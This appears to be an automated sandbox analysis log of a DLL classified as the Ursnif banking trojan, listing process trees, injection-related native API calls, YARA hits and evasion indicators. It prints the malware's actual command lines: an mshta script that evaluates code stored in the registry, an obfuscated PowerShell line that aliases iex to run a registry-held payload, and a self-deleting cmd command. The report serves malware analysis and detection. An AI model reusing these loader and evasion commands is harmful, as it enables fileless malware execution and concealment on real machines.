Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00813248 20_2_000002DC00813248
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007FC96C 20_2_000002DC007FC96C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081099C 20_2_000002DC0081099C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081C1CC 20_2_000002DC0081C1CC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007FD2EC 20_2_000002DC007FD2EC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081833C 20_2_000002DC0081833C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F1338 20_2_000002DC007F1338
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F4338 20_2_000002DC007F4338
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007FA2F8 20_2_000002DC007FA2F8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F1AF4 20_2_000002DC007F1AF4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00816C40 20_2_000002DC00816C40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00808454 20_2_000002DC00808454
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F4C54 20_2_000002DC007F4C54
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080D36C 20_2_000002DC0080D36C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081AB84 20_2_000002DC0081AB84
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007FDBAC 20_2_000002DC007FDBAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC008043BC 20_2_000002DC008043BC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00815BD4 20_2_000002DC00815BD4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00818BD8 20_2_000002DC00818BD8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080FCEC 20_2_000002DC0080FCEC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00800500 20_2_000002DC00800500
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00807D50 20_2_000002DC00807D50
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007FE464 20_2_000002DC007FE464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080DC8C 20_2_000002DC0080DC8C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0081CCC4 20_2_000002DC0081CCC4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080ADF0 20_2_000002DC0080ADF0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00817650 20_2_000002DC00817650
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080E578 20_2_000002DC0080E578
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00819708 20_2_000002DC00819708
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC0080BF14 20_2_000002DC0080BF14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00801678 20_2_000002DC00801678
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F1F34 20_2_000002DC007F1F34
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE3A9C NtMapViewOfSection, 3_2_04DE3A9C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE4695 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_04DE4695
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE25D7 GetProcAddress,NtCreateSection,memset, 3_2_04DE25D7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE8441 NtQueryVirtualMemory, 3_2_04DE8441
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC008010B4 NtMapViewOfSection, 20_2_000002DC008010B4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F59D4 NtCreateSection, 20_2_000002DC007F59D4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F79AC NtSetInformationProcess,CreateRemoteThread,ResumeThread, 20_2_000002DC007F79AC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F2B58 NtWriteVirtualMemory, 20_2_000002DC007F2B58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00817D48 NtQueryInformationProcess, 20_2_000002DC00817D48
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC007F8D20 NtSetContextThread,NtUnmapViewOfSection, 20_2_000002DC007F8D20
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC00817DB4 NtQueryInformationToken,NtQueryInformationToken, 20_2_000002DC00817DB4
Sample file is different than original file name gathered from version info
Source: HxEWwh74qT.dll Binary or memory string: OriginalFilenamerpcapd.exe0 vs HxEWwh74qT.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: HxEWwh74qT.dll Virustotal: Detection: 36%
Source: HxEWwh74qT.dll ReversingLabs: Detection: 30%
Source: HxEWwh74qT.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 608
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 604
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7080 -s 612
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Lpje='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Lpje).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP"
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user~1\AppData\Local\Temp\5771.bi1"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name wufxrouxe -value gp; new-alias -name atvqcmfj -value iex; atvqcmfj ([System.Text.Encoding]::ASCII.GetString((wufxrouxe "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD841.tmp" "c:\Users\user\AppData\Local\Temp\pkbugtxo\CSC26C720E9EBC041F086604EECC7DD3CDD.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESED31.tmp" "c:\Users\user\AppData\Local\Temp\lboh4mlq\CSC3DF21D054A9F4C66BF1FA9CD771B1F79.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220422 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERB8D1.tmp Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@28/29@0/2
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE6DB6 CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 3_2_04DE6DB6
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\HxEWwh74qT.dll",#1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7080
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5012:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{5840C7B2-D747-4A43-210C-FB1EE5005F32}
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{08B24B58-C72D-7A90-91BC-EB4E55B04F62}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: HxEWwh74qT.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.515144273.0000000006160000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.500269242.00000000060B0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: loaddll32.exe, 00000000.00000000.390436792.0000000000480000.00000002.00000001.01000000.00000003.sdmp, HxEWwh74qT.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.515144273.0000000006160000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.500269242.00000000060B0000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DEB2FF push esi; retf 3_2_04DEB301
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE820B push ecx; ret 3_2_04DE821B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04DE7E20 push ecx; ret 3_2_04DE7E29
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 20_2_000002DC008253C8 push FFFFFFD3h; iretd 20_2_000002DC008253CA
PE file contains an invalid checksum
Source: HxEWwh74qT.dll Static PE information: real checksum: 0x872fe521 should be: 0xa724b
Source: pkbugtxo.dll.24.dr Static PE information: real checksum: 0x0 should be: 0x97df
Source: lboh4mlq.dll.27.dr Static PE information: real checksum: 0x0 should be: 0x10db8
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\lboh4mlq\lboh4mlq.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\pkbugtxo\pkbugtxo.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000014.00000002.766882377.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391081269.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518242223.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.439315042.00000000052AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.518050705.000001BF7E55C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.491963654.0000000006098000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.436001223.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438329210.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391236122.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390852806.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390783473.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000003.513984044.000002DC00CFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390963737.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391015018.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.390663420.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.391212771.00000000054A8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 7148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6932, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 6020, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4de0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.5456940.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.53aa4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4c794a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.54294a0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.438131198.00000000053AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.517494573.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.515954749.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.516723035.0000000000500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.438206007.0000000005429000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000002.766683570.000002DC007F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.566002484.0000000004C79000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.568306199.0000000002E80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.569427566.000000000512F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\HxEWwh74qT.dll
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
